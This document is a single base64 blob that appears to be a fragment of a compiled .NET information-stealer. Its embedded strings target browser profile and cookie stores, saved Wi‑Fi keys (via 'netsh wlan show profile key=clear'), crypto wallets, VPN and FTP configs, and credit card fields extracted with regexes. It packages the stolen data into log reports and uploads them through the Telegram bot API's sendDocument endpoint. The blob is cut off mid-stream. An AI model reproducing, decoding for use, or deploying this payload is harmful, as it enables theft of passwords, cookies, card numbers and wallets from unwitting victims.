ABGAGEAbABrAG8AbgBcAFAAcgBvAGYAaQBsAGUAcwAALVwASABvAGwAYQBcAGMAaAByAG8AbQBpAHUAbQBfAHAAcgBvAGYAaQBsAGUAADlcAE8AcABlAHIAYQAgAFMAbwBmAHQAdwBhAHIAZQBcAE8AcABlAHIAYQAgAFMAdABhAGIAbABlAAA/XABPAHAAZQByAGEAIABTAG8AZgB0AHcAYQByAGUAXABPAHAAZQByAGEAIABHAFgAIABTAHQAYQBiAGwAZQAAF1wAQgBhAHQAdABsAGUALgBuAGUAdAAAG1wARwBoAG8AcwB0AEIAcgBvAHcAcwBlAHIAAB9cAEMAbwBsAGkAYgByAGkAQgByAG8AdwBzAGUAcgAAHVwATQBpAG4AXABVAHMAZQByACAARABhAHQAYQAAHVwAQwBvAG8AdwBvAG4AXABDAG8AbwB3AG8AbgAAH1wAVQByAGEAbgBcAFUAcwBlAHIAIABEAGEAdABhAAAhXABLAGkAbgB6AGEAXABVAHMAZQByACAARABhAHQAYQAAIVwAQgBsAGkAcwBrAFwAVQBzAGUAcgAgAEQAYQB0AGEAACFcAFgAdgBhAHMAdABcAFUAcwBlAHIAIABEAGEAdABhAAAhXABUAG8AcgBjAGgAXABVAHMAZQByACAARABhAHQAYQAAJVwAQwByAHkAcAB0AG8AVABhAGIAIABCAHIAbwB3AHMAZQByAAAjXABDAG8AbQBvAGQAbwBcAFUAcwBlAHIAIABEAGEAdABhAAAjXABLAG8AbQBlAHQAYQBcAFUAcwBlAHIAIABEAGEAdABhAAAjXABsAGkAZQBiAGEAbwBcAFUAcwBlAHIAIABEAGEAdABhAAAjXABDAGgAZQBkAG8AdABcAFUAcwBlAHIAIABEAGEAdABhAAAlXABLAC0ATQBlAGwAbwBuAFwAVQBzAGUAcgAgAEQAYQB0AGEAASVcAE8AcgBiAGkAdAB1AG0AXABVAHMAZQByACAARABhAHQAYQAAJVwAVgBpAHYAYQBsAGQAaQBcAFUAcwBlAHIAIABEAGEAdABhAAAlXABTAGwAaQBtAGoAZQB0AFwAVQBzAGUAcgAgAEQAYQB0AGEAACVcAEkAcgBpAGQAaQB1AG0AXABVAHMAZQByACAARABhAHQAYQAAJVwATQBhAHgAdABoAG8AbgBcAFUAcwBlAHIAIABEAGEAdABhAAAnXABNAGEAeAB0AGgAbwBuADMAXABVAHMAZQByACAARABhAHQAYQAAJ1wATgBpAGMAaAByAG8AbQBlAFwAVQBzAGUAcgAgAEQAYQB0AGEAACdcAEMAaAByAG8AbQBvAGQAbwBcAFUAcwBlAHIAIABEAGEAdABhAAAnXABRAEkAUAAgAFMAdQByAGYAXABVAHMAZQByACAARABhAHQAYQAAJ1wAQwBoAHIAbwBtAGkAdQBtAFwAVQBzAGUAcgAgAEQAYQB0AGEAACtcAEIAaQB0AFQAbwByAHIAZQBuAHQAXABNAGEAZQBsAHMAdAByAG8AbQAAK1wARwBsAG8AYgB1AHMAIABWAFAATgBcAFUAcwBlAHIAIABEAGEAdABhAAAtXABDAGUAbgB0AEIAcgBvAHcAcwBlAHIAXABVAHMAZQByACAARABhAHQAYQAAK1wAQQBtAGkAZwBvAFwAVQBzAGUAcgBcAFUAcwBlAHIAIABEAGEAdABhAAAvXABNAGEAcABsAGUAUwB0AHUAZABpAG8AXABDAGgAcgBvAG0AZQBQAGwAdQBzAAAtXAA3AFMAdABhAHIAXAA3AFMAdABhAHIAXABVAHMAZQByACAARABhAHQAYQAAL1wATQBhAGkAbAAuAFIAdQBcAEEAdABvAG0AXABVAHMAZQByACAARABhAHQAYQAAMVwAQwBvAG0AbwBkAG8AXABEAHIAYQBnAG8AbgBcAFUAcwBlAHIAIABEAGEAdABhAAAzXABVAEMAQgByAG8AdwBzAGUAcgBcAFUAcwBlAHIAIABEAGEAdABhAF8AaQAxADgAbgAAMVwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAFUAcwBlAHIAIABEAGEAdABhAAAxXABDAG8AbwB3AG8AbgBcAEMAbwBvAHcAbwBuAFwAVQBzAGUAcgAgAEQAYQB0AGEAADNcAEMAbwBjAEMAbwBjAFwAQgByAG8AdwBzAGUAcgBcAFUAcwBlAHIAIABEAGEAdABhAAAzXABBAE8ATABcAEEATwBMACAAUwBoAGkAZQBsAGQAXABVAHMAZQByACAARABhAHQAYQAAM1wATQBpAGMAcgBvAHMAbwBmAHQAXABFAGQAZwBlAFwAVQBzAGUAcgAgAEQAYQB0AGEAADNcAHUAQwBvAHoATQBlAGQAaQBhAFwAVQByAGEAbgBcAFUAcwBlAHIAIABEAGEAdABhAAA1XABFAGwAZQBtAGUAbgB0ACAAQgByAG8AdwBzAGUAcgBcAFUAcwBlAHIAIABEAGEAdABhAAA1XABTAHAAdQB0AG4AaQBrAFwAUwBwAHUAdABuAGkAawBcAFUAcwBlAHIAIABEAGEAdABhAAA3XABFAGwAZQBtAGUAbgB0AHMAIABCAHIAbwB3AHMAZQByAFwAVQBzAGUAcgAgAEQAYQB0AGEAADdcAEMAQwBsAGUAYQBuAGUAcgAgAEIAcgBvAHcAcwBlAHIAXABVAHMAZQByACAARABhAHQAYQAAN1wAMwA2ADAAQwBoAHIAbwBtAGUAXABDAGgAcgBvAG0AZQBcAFUAcwBlAHIAIABEAGEAdABhAAA5XABUAGUAbgBjAGUAbgB0AFwAUQBRAEIAcgBvAHcAcwBlAHIAXABVAHMAZQByACAARABhAHQAYQAAOVwATgBhAHYAZQByAFwATgBhAHYAZQByACAAVwBoAGEAbABlAFwAVQBzAGUAcgAgAEQAYQB0AGEAADtcAEIAYQBpAGQAdQBcAEIAYQBpAGQAdQBCAHIAbwB3AHMAZQByAFwAVQBzAGUAcgAgAEQAYQB0AGEAADtcADMANgAwAEIAcgBvAHcAcwBlAHIAXABCAHIAbwB3AHMAZQByAFwAVQBzAGUAcgAgAEQAYQB0AGEAADtcAEcAbwBvAGcAbABlACgAeAA4ADYAKQBcAEMAaAByAG8AbQBlAFwAVQBzAGUAcgAgAEQAYQB0AGEAAD9cAEUAcABpAGMAIABQAHIAaQB2AGEAYwB5ACAAQgByAG8AdwBzAGUAcgBcAFUAcwBlAHIAIABEAGEAdABhAAA/XABDAGEAdABhAGwAaQBuAGEARwByAG8AdQBwAFwAQwBpAHQAcgBpAG8AXABVAHMAZQByACAARABhAHQAYQAAP1wAWQBhAG4AZABlAHgAXABZAGEAbgBkAGUAeABCAHIAbwB3AHMAZQByAFwAVQBzAGUAcgAgAEQAYQB0AGEAAENcAE0AYQBwAGwAZQBTAHQAdQBkAGkAbwBcAEMAaAByAG8AbQBlAFAAbAB1AHMAXABVAHMAZQByACAARABhAHQAYQAAQ1wAQQBWAEEAUwBUACAAUwBvAGYAdAB3AGEAcgBlAFwAQgByAG8AdwBzAGUAcgBcAFUAcwBlAHIAIABEAGEAdABhAABNXABCAHIAYQB2AGUAUwBvAGYAdAB3AGEAcgBlAFwAQgByAGEAdgBlAC0AQgByAG8AdwBzAGUAcgBcAFUAcwBlAHIAIABEAGEAdABhAAFbXABOAFYASQBEAEkAQQAgAEMAbwByAHAAbwByAGEAdABpAG8AbgBcAE4AVgBJAEQASQBBACAARwBlAEYAbwByAGMAZQAgAEUAeABwAGUAcgBpAGUAbgBjAGUAAF1cAEIAcgBhAHYAZQBTAG8AZgB0AHcAYQByAGUAXABCAHIAYQB2AGUALQBCAHIAbwB3AHMAZQByAC0ATgBpAGcAaAB0AGwAeQBcAFUAcwBlAHIAIABEAGEAdABhAAFpXABGAGUAbgByAGkAcgAgAEkAbgBjAFwAUwBsAGUAaQBwAG4AaQByADUAXABzAGUAdAB0AGkAbgBnAFwAbQBvAGQAdQBsAGUAcwBcAEMAaAByAG8AbQBpAHUAbQBWAGkAZQB3AGUAcgAAM1wATQBvAHoAaQBsAGwAYQBcAEYAaQByAGUAZgBvAHgAXABQAHIAbwBmAGkAbABlAHMAACVcAFcAYQB0AGUAcgBmAG8AeABcAFAAcgBvAGYAaQBsAGUAcwAAJVwASwAtAE0AZQBsAGUAbwBuAFwAUAByAG8AZgBpAGwAZQBzAAErXABUAGgAdQBuAGQAZQByAGIAaQByAGQAXABQAHIAbwBmAGkAbABlAHMAADVcAEMAbwBtAG8AZABvAFwASQBjAGUARAByAGEAZwBvAG4AXABQAHIAbwBmAGkAbABlAHMAAD9cADgAcABlAGMAeABzAHQAdQBkAGkAbwBzAFwAQwB5AGIAZQByAGYAbwB4AFwAUAByAG8AZgBpAGwAZQBzAABPXABOAEUAVABHAEEAVABFACAAVABlAGMAaABuAG8AbABvAGcAaQBlAHMAXABCAGwAYQBjAGsASABhAHcAXABQAHIAbwBmAGkAbABlAHMAAFNcAE0AbwBvAG4AYwBoAGkAbABkACAAUAByAG8AZAB1AGMAdABpAG8AbgBzAFwAUABhAGwAZQAgAE0AbwBvAG4AXABQAHIAbwBmAGkAbABlAHMAADVcAEcAaABvAHMAdABlAHIAeQAgAEIAcgBvAHcAcwBlAHIAXABQAHIAbwBmAGkAbABlAHMAAC1cAFUAbgBkAGUAdABlAGMAdABhAGIAbABlAFwAUAByAG8AZgBpAGwAZQBzAAAfXABTAGkAZQBsAG8AXABwAHIAbwBmAGkAbABlAHMAAE1cAGMAbwBuAGsAZQByAG8AcgAuAG0AbwB6AGQAZQB2AC4AbwByAGcAXABjAG8AbgBrAGUAcgBvAHIAXABQAHIAbwBmAGkAbABlAHMAADlcAE4AZQB0AHMAYwBhAHAAZQBcAE4AYQB2AGkAZwBhAHQAbwByAFwAUAByAG8AZgBpAGwAZQBzAAA3XABNAG8AegBpAGwAbABhAFwAUwBlAGEATQBvAG4AawBlAHkAXABQAHIAbwBmAGkAbABlAHMAAD9cAEYAbABhAHMAaABQAGUAYQBrAFwAUwBsAGkAbQBCAHIAbwB3AHMAZQByAFwAUAByAG8AZgBpAGwAZQBzAAAfXABBAHYAYQBuAHQAIABQAHIAbwBmAGkAbABlAHMAAB9cAEYAbABvAGMAawBcAFAAcgBvAGYAaQBsAGUAcwAADUMAbABpAGUAbgB0AAAFYQBvAAAPYwBvAG0AbQBhAG4AZAAADXAAbAB1AGcAaQBuAAAFbwBhAAARcgBlAHMAbwB1AHIAYwBlAAADPwAAAz0AAAMmAAANYwB2AG0AZQBnAGEAAH1hAGIAYwBkAGUAZgBnAGgAaQBqAGsAbABtAG4AbwBwAHEAcgBzAHQAdQB2AHcAeAB5AHoAQQBCAEMARABFAEYARwBIAEkASgBLAEwATQBOAE8AUABRAFIAUwBUAFUAVgBXAFgAWQBaADAAMQAyADMANAA1ADYANwA4ADkAAAkuAHAAbgBnAAAJLgBqAHAAZwAACy4AaAB0AG0AbAAAOVMATwBGAFQAVwBBAFIARQBcAEcAbwBvAGcAbABlAFwAQwByAGEAcwBoAFIAZQBwAG8AcgB0AHMAAAtjAHYAbABzADAAAAsuAG8AdgBwAG4AABVQAHIAbwB0AG8AbgBWAFAATgBfAAAZXAB1AHMAZQByAC4AYwBvAG4AZgBpAGcAAA0uAGQAcABhAHAAaQAACy4AYwBvAG4AZgAALVwATABvAGMAYQBsACAAUwB0AG8AcgBhAGcAZQBcAGwAZQB2AGUAbABkAGIAACVzAGgAZQBsAGwAXABvAHAAZQBuAFwAYwBvAG0AbQBhAG4AZAAAF0QAaQBzAHAAbABhAHkATgBhAG0AZQAASXsAMAB9ACAAewAxAH0AIABGAFMAOgB7ADIAfQAgAFMAaQB6AGUAOgB7ADMAfQBHAEIAIABGAHIAZQBlADoAewA0AH0ARwBCAAAJUwBTAEkARAAAF2sAZQB5AE0AYQB0AGUAcgBpAGEAbAAAHWEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAAFWUAbgBjAHIAeQBwAHQAaQBvAG4AADF3AGwAYQBuACAAcwBoAG8AdwAgAHAAcgBvAGYAaQBsAGUAIABuAGEAbQBlAD0AIgAAFyIAIABrAGUAeQA9AGMAbABlAGEAcgAALUsAZQB5ACAAQwBvAG4AdABlAG4AdABcAHMAKgA6AFwAcwAqACgALgArACkAADNBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AXABzACoAOgBcAHMAKgAoAC4AKwApAAAjQwBpAHAAaABlAHIAXABzACoAOgBcAHMAKgAoAC4AKwApAAALRQByAHIAbwByAAAXRgBpAGwAZQBHAHIAYQBiAGIAZQByAAANTgBhAG0AZQA6ACAAABEKAFYAYQBsAHUAZQA6ACAAABFOAHUAbQBiAGUAcgA6ACAAAA0KAEUAeABwADoAIAAAEwoASABvAGwAZABlAHIAOgAgAAAVQQBjAGMAbwB1AG4AdABJAGQALQABGV8AUgBlAHMAdABvAHIAZQAuAHQAeAB0AAB1WwAiACcAXQA/AGYAdQBsAGwAXwBjAGEAcgBkAF8AbgB1AG0AYgBlAHIAWwAiACcAXQA/AFwAcwAqADoAXABzACoAWwAiACcAXQA/ACgAPwA8AHYAPgBbAFwAZABcAHMAXAAtAF0AKwApAFsAIgAnAF0APwABgIFbACIAJwBdAD8AKAA/ADoAYwBhAHIAZABfAG4AdQBtAGIAZQByAHwAbgB1AG0AYgBlAHIAKQBbACIAJwBdAD8AXABzACoAOgBcAHMAKgBbACIAJwBdAD8AKAA/ADwAdgA+AFsAXABkAFwAcwBcAC0AXQArACkAWwAiACcAXQA/AAFzWwAiACcAXQA/AGUAeABwAGkAcgBlAF8AZABhAHQAZQBfAG0AbwBuAHQAaABbACIAJwBdAD8AXABzACoAOgBcAHMAKgBbACIAJwBdAD8AKAA/ADwAbQA+AFwAZAB7ADEALAAyAH0AKQBbACIAJwBdAD8AAXFbACIAJwBdAD8AZQB4AHAAaQByAGUAXwBkAGEAdABlAF8AeQBlAGEAcgBbACIAJwBdAD8AXABzACoAOgBcAHMAKgBbACIAJwBdAD8AKAA/ADwAeQA+AFwAZAB7ADIALAA0AH0AKQBbACIAJwBdAD8AAQNtAAADeQAAb1sAIgAnAF0APwBjAGEAcgBkAF8AaABvAGwAZABlAHIAWwAiACcAXQA/AFwAcwAqADoAXABzACoAWwAiACcAXQAoAD8APAB2AD4AKAA/ADoAXABcAC4AfABbAF4AIgBdACkAKgApAFsAIgAnAF0AAYCNWwAiACcAXQA/ACgAPwA6AGMAYQByAGQAaABvAGwAZABlAHIAfABoAG8AbABkAGUAcgB8AG4AYQBtAGUAKQBbACIAJwBdAD8AXABzACoAOgBcAHMAKgBbACIAJwBdACgAPwA8AHYAPgAoAD8AOgBcAFwALgB8AFsAXgAiAF0AKQAqACkAWwAiACcAXQABJ1wAXAB1ACgAWwAwAC0AOQBBAC0ARgBhAC0AZgBdAHsANAB9ACkAASteAFsAQQAtAFoAYQAtAHoAMAAtADkAXAArAC8APQBdAHsAOAAsAH0AJAABHU4AYQBtAGUAIABPAG4AIABDAGEAcgBkADoAIAAAFQoATgBlAHQAdwBvAHIAawA6ACAAACcKAEMAYQByAGQAIABMAGEAcwB0ACAATgB1AG0AYgBlAHIAOgAgAAAZCgBCAGEAbgBrACAATgBhAG0AZQA6ACAAABcKAE4AaQBjAGsATgBhAG0AZQA6ACAAAC0KAFAAcgBvAGQAdQBjAHQAIABEAGUAcwBjAHIAaQBwAHQAaQBvAG4AOgAgAAAVTgBpAGMAawBuAGEAbQBlADoAIAAAEwoAUAByAGUAZgBpAHgAOgAgAAATCgBTAHUAZgBmAGkAeAA6ACAAABVFAHgAdABlAG4AcwBpAG8AbgAvAAAhbQBvAHoALQBlAHgAdABlAG4AcwBpAG8AbgArACsAKwABIVsAXgBcAHUAMAAwADIAMAAtAFwAdQAwADAANwBGAF0AASVHAGkAdABoAHUAYgBHAHUAaQBcAGwAZQB2AGUAbABkAGIAXAAACU8AQgBTAFwAABFQAHIAbwBmAGkAbABlADoAABEgAHwAIABGAGkAbABlADoAABcgAHwAIABTAGUAcgB2AGkAYwBlADoAAA8gAHwAIABLAGUAeQA6AAAbUABsAGEAeQBJAHQAXABwAGwAYQB5AGkAdAAACy4AdABvAG0AbAAAGSAAIABWAGUAcgBzAGkAbwBuACAAOgAgAAAZIAAgAEgAbwBzAHQAIAAgACAAIAA6ACAAABkgACAAVQBzAGUAcgAgACAAIAAgADoAIAAAGSAAIABSAGEAdwBQAGEAcwBzACAAOgAgAAAbIAAgAEQAZQBjAHIAeQBwAHQAZQBkADoAIAAAMyAAPQA+ACAAWABtAGEAbgBhAGcAZQByAFwAcwBlAHMAcwBpAG8AbgBzAC4AdAB4AHQAABdnAGwAbwBiAGEAbAAtAHMAYQBsAHQAARNbAFQAQQBSAEcARQBUADoAIAAAFVsAQgBSAE8AVwBTAEUAUgA6ACAAAF04ADYAOQA1ADMANgA3ADMANwA2ADoAQQBBAEUASQAzAHMAdwBIAGMAZwBPAGUAWgBEAHYAcwBDAEEAdgBiADIAVQA2AHcAOABfAEcAVwBRAFcAVgA2AGkASABNAAAVOAA2ADMAOAA3ADcANQAzADUANgAAA0AAAAtzAHQAYQByAHQAABUtAC0AcgB1AG4ALQBvAG4AYwBlAAEfYwByAGEAcwBoAHIAZQBwAG8AcgB0AC4AdAB4AHQAABdVAG4AawBuAG8AdwBuAEgAVwBJAEQAAC9GAGEAaQBsAGUAZAAgAHQAbwAgAGcAZQB0ACAASABXAEkARAA6ACAAewAwAH0AACVGAGEAaQBsAGUAZAAgAHQAbwAgAGcAZQB0ACAASQBQADoAIAAAOUYAYQBpAGwAZQBkACAAdABvACAAZwBlAHQAIABjAG8AdQBuAHQAcgB5ACAAYwBvAGQAZQA6ACAAABNFAHIAcgBvAHIALgB0AHgAdAAAQTwAYgA+AD3Y8N4P/iAAVgBQAE4AOgA8AC8AYgA+ACAAPABjAG8AZABlAD4AewAwAH0APAAvAGMAbwBkAGUAPgABTTwAYgA+AD3YrNwgAE0AZQBzAHMAZQBuAGcAZQByAHMAOgA8AC8AYgA+ACAAPABjAG8AZABlAD4AewAwAH0APAAvAGMAbwBkAGUAPgABQzwAYgA+ADzYrt8gAEcAYQBtAGUAcwA6ADwALwBiAD4AIAA8AGMAbwBkAGUAPgB7ADAAfQA8AC8AYwBvAGQAZQA+AAFJPABiAD4APdjE3Q/+IABTAGUAcgB2AGUAcgBzADoAPAAvAGIAPgAgADwAYwBvAGQAZQA+AHsAMAB9ADwALwBjAG8AZABlAD4AAUk8AGIAPgA82KPfIABHAHIAYQBiAGIAZQByAHMAOgA8AC8AYgA+ACAAPABjAG8AZABlAD4AewAwAH0APAAvAGMAbwBkAGUAPgABM04AbwAgAGEAZABkAGkAdABpAG8AbgBhAGwAIABkAGEAdABhACAAZgBvAHUAbgBkAC4AAH88AGIAPgAoJyAATgBlAHcAIABMAG8AZwAgAFIAZQBjAGUAaQB2AGUAZAAgACgnPAAvAGIAPgAKAAoAPABiAGwAbwBjAGsAcQB1AG8AdABlAD4APABiAD4APdi73CAAVQBzAGUAcgA6ADwALwBiAD4AIAA8AGMAbwBkAGUAPgABOTwALwBjAG8AZABlAD4ACgA8AGIAPgA82A3fIABJAFAAOgA8AC8AYgA+ACAAPABjAG8AZABlAD4AAW88AC8AYwBvAGQAZQA+AAoAPAAvAGIAbABvAGMAawBxAHUAbwB0AGUAPgAKADwAYgA+AD3YytwgAE0AYQBpAG4AIABMAG8AbwB0ADoAPAAvAGIAPgAKADwAYgBsAG8AYwBrAHEAdQBvAHQAZQA+AAFNPABiAD4APdgR3SAAUABhAHMAcwB3AG8AcgBkAHMAOgA8AC8AYgA+ACAAPABjAG8AZABlAD4AewAwAH0APAAvAGMAbwBkAGUAPgAKAAFJPABiAD4APNhq3yAAQwBvAG8AawBpAGUAcwA6ADwALwBiAD4AIAA8AGMAbwBkAGUAPgB7ADAAfQA8AC8AYwBvAGQAZQA+AAoAAUk8AGIAPgA92LDcIABXAGEAbABsAGUAdABzADoAPAAvAGIAPgAgADwAYwBvAGQAZQA+AHsAMAB9ADwALwBjAG8AZABlAD4ACgABazwALwBiAGwAbwBjAGsAcQB1AG8AdABlAD4ACgA8AGIAPgA92ObcIABBAGQAZABpAHQAaQBvAG4AYQBsACAARABhAHQAYQA6ADwALwBiAD4ACgA8AGIAbABvAGMAawBxAHUAbwB0AGUAPgABgJcKADwALwBiAGwAbwBjA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